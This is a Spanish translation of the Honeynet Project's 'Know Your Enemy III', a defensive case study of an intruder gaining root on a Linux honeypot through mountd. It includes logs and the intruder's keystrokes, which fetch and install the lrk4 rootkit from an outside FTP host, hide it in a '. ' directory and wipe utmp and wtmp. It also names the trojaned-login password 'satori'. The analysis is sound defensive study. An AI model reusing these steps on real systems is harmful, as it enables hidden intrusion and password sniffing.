  -=( 7A69#13 )=--=( art10 )=--=( Conoce tu enemigo III;     )=--=( Tahum )=-
                                ( Ganan privilegios de root. )
  

 [ Documento traducido por Tahum@phreaker.net, ponte en contacto a esta
   direccion si encuentras imperfecciones en la traduccion. Gracias. ]



                           Conoce tu enemigo III

                         Ganan privilegios de root



 Honeynet Project
 Http://project.honeynet.org
 Ultima modificacion: 27 de Marzo, 2000.

        Este articulo es el tercero de la serie centrada en el script kiddie.
 El  primer  articulo  se   centraba  en  como  los  script  kiddies  buscan,
 identifican, y explotan vulnerabilidades. El segundo articulo se centraba en
 como  puedes  detectar  estos   intentos  de  intrusion,  identificando  que
 herramientas han  usado y que vulnerabilidades buscaban.  Este articulo,  el
 tercero,  se centra en  que pasara una vez  ellos ganan privilegios de root.
 Concretamente,  en como ellos borran sus huellas y que haran a continuacion.
 Puedes descargar  los datos  de origen usados  para hacer  este documento en
 http://project.honeynet.org/papers/enemy3/honeypot.tar.gz.


 - Quien es el script kiddie

        Como vimos en el primer  articulo,  el  script kiddie no es tanto una
 clase de persona como su estrategia, la estrategia de buscar la presa facil.
 No se busca buscar una  informacion especifica o comprometer una compaia en
 concreto,  el  objetivo es ganar privilegios  de root  de la forma mas facil
 posible.  Los  intrusos hacen  esto  centrandose  en  un  numero  pequeo de
 vulnerabilidades,  y  buscando  en  Internet   el  exploit  para  ellas.  No
 infravalores su estrategia, tarde o temprano encontraran algo vulnerable.

        Una vez encuentran un sistema vulnerable y ganan privilegios de root,
 su primer paso es por lo  general borrar  sus huellas.  Buscan asegurarse de
 que no sepas de que  tu  sistema  ha sido  hackeado  y  que no puedas ver ni
 loguear sus  acciones.  Siguiendo  esto,  a menudo  usaran  tu  sistema para
 escanear otras redes, o silenciosamente monitorizar tus acciones. Para ganar
 una mayor comprension de como realizan estos actos, vamos a ver los pasos de
 un intruso en  un sistema  comprometido usando  tacticas  de  script kiddie.
 Nuestro sistema,  llamado mozart,  es un Linux  ejecutando  Red Hat 5.1.  El
 sistema fue comprometido el 27 de Abril, de 1999. A continuacion se muestran
 los pasos que el intruso hizo, con logs de sistema y capturadores de teclado
 para verificar cada paso.  Todos los logs fueron almacenados por un servidor
 de logueo  remoto,  usando sniffit.  Para  mas  informacion sobre  como esta
 informacion fue  capturada,  leete nuestro "Construir  una  Honeypot".  A lo
 largo de este documento nuestro intruso es referido como el,  sin embargo no
 tenemos ni idea del sexo del intruso.


 - La explotacion

        El 27 de Abril, a las 00:13, nuestra red fue escaneada por la maquina
 1Cust174.tnt2.long-branch.nj.da.uu.net  buscando  vulnerabilidades,   usando
 herramientas como nmap.  Nuestro intruso lo hizo de forma ruidosa, como cada
 sistema de nuestra red que fue probado  (para mas informacion en deteccion y
 analisis de escaneos, por favor dirigete al segundo articulo de esta serie).

 Apr 27 00:12:25 mozart imapd[939]: connect from 208.252.226.174
 Apr 27 00:12:27 bach imapd[1190]: connect from 208.252.226.174
 Apr 27 00:12:30 vivaldi imapd[1225]: connect from 208.252.226.174

        Aparentemente encontro algo  que le  gusto,  y volvio a las 06:52 y a
 las 16:47 el mismo dia.  Comenzo con  escaneos mas  precisos,  pero esta vez
 centrandose solo en mozart.  Identifico una vulnerabilidad y lanzo un ataque
 con exito  contra mountd,  una vulnerabilidad  comun para Red Hat 5.1.  Aqui
 vemos en  /var/log/messages al  intruso  ganando root.  La herramienta usada
 seria lo mas seguro ADMmountd.c, o algo similar a este.

 Apr 27 16:47:28 mozart mountd[306]: Unauthorized access by NFS client 208.252.226.174.
 Apr 27 16:47:28 mozart syslogd: Cannot glue message parts together
 Apr 27 16:47:28 mozart mountd[306]: Blocked attempt of 208.252.226.174 to mount
 ~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
 ~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~

        Inmediatamente despues  de este  exploit,  vemos en /var/log/messages
 que nestro intruso gano root haciendo telnet a la maquina con el user crak0,
 y entonces ejecutando su al usuario rewt.  Ambas cuentas fueron aadidas por
 el exploit. Nuestro intruso ahora tiene control total sobre el sistema.

 Apr 27 16:50:27 mozart login[1233]: FAILED LOGIN 2 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net FOR crak, User not known to the underlying authentication module
 Apr 27 16:50:38 mozart PAM_pwdb[1233]: (login) session opened for user crak0 by (uid=0)
 Apr 27 16:50:38 mozart login[1233]: LOGIN ON ttyp0 BY crak0 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net
 Apr 27 16:50:47 mozart PAM_pwdb[1247]: (su) session opened for user rewt by crak0(uid=0)


 - Cubriendo sus huellas

        El intruso esta ahora en nuestro sistema como root. Como podemos ver,
 el siguiente paso para el es asegurarse de que no va a ser capturado. En
 primer lugar, comprueba si hay alguien en el sistema.

 [crak0@mozart /tmp]$ w
   4:48pm  up 1 day, 18:27,  1 user,  load average: 0.00, 0.00, 0.00
 USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
 crak0    ttyp0    1Cust102.tnt1.lo  4:48pm  0.00s  0.23s  0.04s  w

        Despues de asegurarse de que no hay moros en la costa, querra ocultar
 sus acciones.  Esto se hace normalmente borrando cualquier evidencia de logs
 y remplazando los binarios del sistema con troyanos,  como ps o netstat,  de
 forma que no  puedas ver  al intruso  en tu  propio sistema.  Una vez se han
 colocado los troyanos,  el intruso ha ganado un control total de tu sistema,
 y seguramente nunca lo sepas.  Simplemente como hay herramientas automaticas
 para explotar  vulnerabilidades,  las hay  para  ocultar intrusos,  a menudo
 llamadas rootkits. Uno de los mas comunes es lrk4. Ejecutando el script, una
 gran variedad de archivos criticos son remplazados, ocultando al intruso en
 cuestion de segundos. Para informacion mas detallada sobre los rootkits, lee
 el README que viene con lrk4.  Este te  dara una mejor idea de como trabajan
 los rookits  de forma  general.  Tambien recomiendo que leas 'hide-and-seek'
 (http://project.honeynet.org/papers/enemy3/hide-n-seek.html),  un  documento
 para el black-hat donde se explica como cubrir tus huellas.

        A los  pocos  minutos  de  comprometer  el sistema,  vemos al intruso
 descargarse el rootkit  y  entonces  implementando  el script con el comando
 "make install".  Debajo estan  las  pulsaciones  de  teclado  que el intruso
 escribio para esconderse.

 cd /dev/
 su rewt
 mkdir ". "
 cd ". "
 ftp technotronic.com
 anonymous
 fdfsfdsdfssd@aol.com
 cd /unix/trojans
 get lrk4.unshad.tar.gz
 quit
 ls
 tar -zxvf lrk4.unshad.tar.gz
 mv lrk4 proc
 mv proc ". "
 cd ". "
 ls
 make install

        Resaltar que lo primero que hizo  el intruso  fue crear el directorio
 oculto ". " para esconder su  kit de herramientas.  Este directorio no se ve
 con el comando "ls",  y parece el  directorio local con el comando "ls -la".
 Una forma de localizar este  directorio es con el comando "find"  (asegurate
 de poder confiar en la integridad de tu binario "find").

 mozart #find / -depth -name "*.*"
 /var/lib/news/.news.daily
 /var/spool/at/.SEQ
 /dev/. /. /procps-1.01/proc/.depend
 /dev/. /.
 /dev/

        Nuestro intruso  puede  haber  sofisticado  algo  su ataque con estas
 herramientas,  pero tuvo poca consideracion en limpiar los logs. En lugar de
 usar herramientas de limpieza de logs, com ozap2 o clean, copio /dev/null en
 los archivos /var/run/utmp  y /var/log/utmp,  mientras borro  /var/log/wtmp.
 Sabes que algo esta mal cuando estos archivos no contienen datos, u obtienes
 el siguiente error:

 [root@mozart sbin]# last -10
 last: /var/log/wtmp:
 No such file or directory
 Perhaps this file was removed by the operator to prevent logging last info.


 - El siguiente paso

        Una vez el sistema ha sido comprometido, los intrusos tienden a hacer
 dos cosas.  Primero,  usaran tu sistema como puente para escanear o explotar
 otros sistemas.  Segundo,  decidiran esconderse y ver que pueden aprender de
 tu sistema, como cuentas para otros sistemas. Nuestro intruso se decidio por
 la opcion numero dos,  permanecer en  la sombra  y  ver  que podia aprender.
 Implemento un sniffer  en  nuestro  sistema  que  pudo capturar todo nuestro
 trafico de red,  incluyendo sesiones telnet y ftp a otros sistemas.  De este
 modo el puedo capturar logins  y  contraseas.  Vemos que el sistema se esta
 poniendo en modo promiscuo viendo /var/log/messages poco despues del ataque.

 Apr 27 17:03:38 mozart kernel: eth0: Setting promiscuous mode.
 Apr 27 17:03:43 mozart kernel: eth0: Setting promiscuous mode.

        Despues de implementar los binarios para los troyanos,  y ejecutar el
 sniffer,  nuestro intruso se desconecta del sistema. Sin embargo, le veremos
 volver al siguiente dia para ver el trafico que capturo.


 - Supervision de daos

        Dado que nuestro amigo se ha desconectado,  esto me da la oportunidad
 para revisar  el  sistema  y ver  que ha  pasado exactamente.  Me encontraba
 especialmente interesado en ver que  fue alterado,  y donde estaba guardando
 la informacion de su sniffer.  Primero, rapidamente identifique con tripwire
 que archivos  fueron modificados.  Nota,  asegurate de que ejecutas tripwire
 desde una  fuente  segura.  Me gusta  ejecutar  tripwire  desde  una version
 enlazada a un disquete de solo lectura. Tripwire mostro lo siguiente.

 added:   -rw-r--r-- root            5 Apr 27 17:01:16 1999 /usr/sbin/sniff.pid
 added:   -rw-r--r-- root          272 Apr 27 17:18:09 1999 /usr/sbin/tcp.log
 changed: -rws--x--x root        15588 Jun  1 05:49:22 1998 /bin/login
 changed: drwxr-xr-x root        20480 Apr 10 14:44:37 1999 /usr/bin
 changed: -rwxr-xr-x root        52984 Jun 10 04:49:22 1998 /usr/bin/find
 changed: -r-sr-sr-x root       126600 Apr 27 11:29:18 1998 /usr/bin/passwd
 changed: -r-xr-xr-x root        47604 Jun  3 16:31:57 1998 /usr/bin/top
 changed: -r-xr-xr-x root         9712 May  1 01:04:46 1998 /usr/bin/killall
 changed: -rws--s--x root       116352 Jun  1 20:25:47 1998 /usr/bin/chfn
 changed: -rws--s--x root       115828 Jun  1 20:25:47 1998 /usr/bin/chsh
 changed: drwxr-xr-x root         4096 Apr 27 17:01:16 1999 /usr/sbin
 changed: -rwxr-xr-x root       137820 Jun  5 09:35:06 1998 /usr/sbin/inetd
 changed: -rwxr-xr-x root         7229 Nov 26 00:02:19 1998 /usr/sbin/rpc.nfsd
 changed: -rwxr-xr-x root       170460 Apr 24 00:02:19 1998 /usr/sbin/in.rshd
 changed: -rwxr-x--- root       235516 Apr  4 22:11:56 1999 /usr/sbin/syslogd
 changed: -rwxr-xr-x root        14140 Jun 30 14:56:36 1998 /usr/sbin/tcpd
 changed: drwxr-xr-x root         2048 Apr  4 16:52:55 1999 /sbin
 changed: -rwxr-xr-x root        19840 Jul  9 17:56:10 1998 /sbin/ifconfig
 changed: -rw-r--r-- root          649 Apr 27 16:59:54 1999 /etc/passwd

        Como puedes ver,  cantidad de binarios y archivos fueron modificados.
 No habia  nuevas  entradas en  /etc/passwd  (prudentemente,  borro la cuenta
 crak0 y rewt),  de forma que  nuestro intruso  debio  dejar  una backdoor en
 alguno de los binarios modificados.  Tambien,  dos archivos fueron aadidos,
 /usr/sbin/sniff.pid   y   /usr/sbin/tcp.log.   Previsiblemente,  el  archivo
 /usr/sbin/sniff.pid era el pid el sniffer,  /usr/sbin/tcp.log era el archivo
 donde se guardaba la informacion capturada. Basandose en /usr/sbin/sniff.pid
 el sniffer se limpiaba para ser  rpc.nfsd.  Nuestro intruso tiene un sniffer
 compilado,  en  este  caso linsniffer,  y  remplaza  rpc.nfsd  con el.  Esto
 aseguraba que si  el sistema  fuera reiniciado,  el sniffer seria reiniciado
 por el proceso init. Strings confirma que rpc.nfsd es un sniffer:

 mozart #strings /usr/sbin/rpc.nfsd | tail -15
 cant get SOCK_PACKET socket
 cant get flags
 cant set promiscuous mode
 ----- [CAPLEN Exceeded]
 ----- [Timed Out]
 ----- [RST]
 ----- [FIN]
 %s =>
 %s [%d]
 sniff.pid
 eth0
 tcp.log
 cant open log
 rm %s

        Despues de revisar el sistema y comprender lo que ha pasado,  dejo al
 sistemas solo.  Tenia curiosidad de  saber que pasos daria a continuacion el
 intruso.  No  le busco  para  cogerle,  de forma que  borre  mis entradas de
 /usr/sbin/tcp.log.
        

 - El retorno del Script Kiddie

        Al siguiente dia nuestro  amigo volvio.  Logueando sus pulsaciones de
 teclado, rapidamente identifique la puerta trasera, /bin/login se encontraba
 troyanizado.  Este  binario,  usado  para  las  conexiones  por telnet,  fue
 configurado para permitir que la  cuenta con  privilegios de root "rewt" con
 la contrasea  "satori"  entrara al sistema.  La contrasea  "satori"  es la
 contrasea por defecto para  todos  los binarios  troyanizados que lrk4 usa,
 una revelacion de que tu sistema puede haber sido comprometido.

        El intruso reviso  su  sniffer  asegurandose  de  que  todo seguia en
 funcionamiento.  Tambien,  busco confirmar si cualquier cuenta fue capturada
 en  dias  anteriores.   Puedes   revisar  sus   pulsaciones  de  teclado  en
 keystrokes.txt   (http://project.honeynet.org/papers/enemy3/keystrokes.txt).
 Date  cuenta de  que al  final del  log se muestra  como  el intruso mata el
 sniffer. Esto fue lo ultimo que hizo antes de cerrar la sesion. Sin embargo,
 rapidamente volvio minutos  mas tarde con otra sesion,  solo para iniciar el
 sniffer de nuevo. No se exactamente porque hizo eso.

        Este proceso de revision del sistema continuo  varios dias mas.  Cada
 dia el intruso  se  conectaba al  sistema para  confirmar  que el sniffer se
 ejecutaba correctamente y por si habia  capturado datos de interes.  Despues
 del cuarto dia,  decidi que  ya  era  suficiente  y  desconecte  el sistema.
 Aprendi lo  suficiente sobre  las acciones  del  intruso y no iba a aprender
 nada nuevo.


 - Conclusion

        En este documento hemos visto como puede actuar un intruso,  desde el
 principio  hasta el final,  una vez  ha  ganado  privilegios  de  root en tu
 sistema.  A menudo comienzan por ver si  hay alguien en el sistema.  Una vez
 ven que estan solos,  borran  sus  huellas  limpiando los  archivos de log y
 remplazando o modificando archivos criticos. Una vez se encuentran seguros y
 escondidos, proceden a actividades mas dainas. Estas tacticas permaneceran,
 asi como nuevos  exploits son  constantemente descubiertos.  Para protegerte
 mejor contra estos peligros, te recomiendo blindar tus sistemas. El blindaje
 basico te protegera contra los  peligros mas  comunes del script kiddie,  ya
 que ellos van a  por la presa facil.  Para idea de como proteger tu sistema,
 echale un vistazo  a Blindando  Linux o Blindando  Solaris.  Si es demasiado
 tarde y sientes que tu sistema ya ha sido comprometido, un buen sitio por el
 que empezar  esta  en  el  sitio  de  Cert,  "Recuperando  de un  accidente"
 (http://www.cert.org/nav/recovering.html).


*EOF*
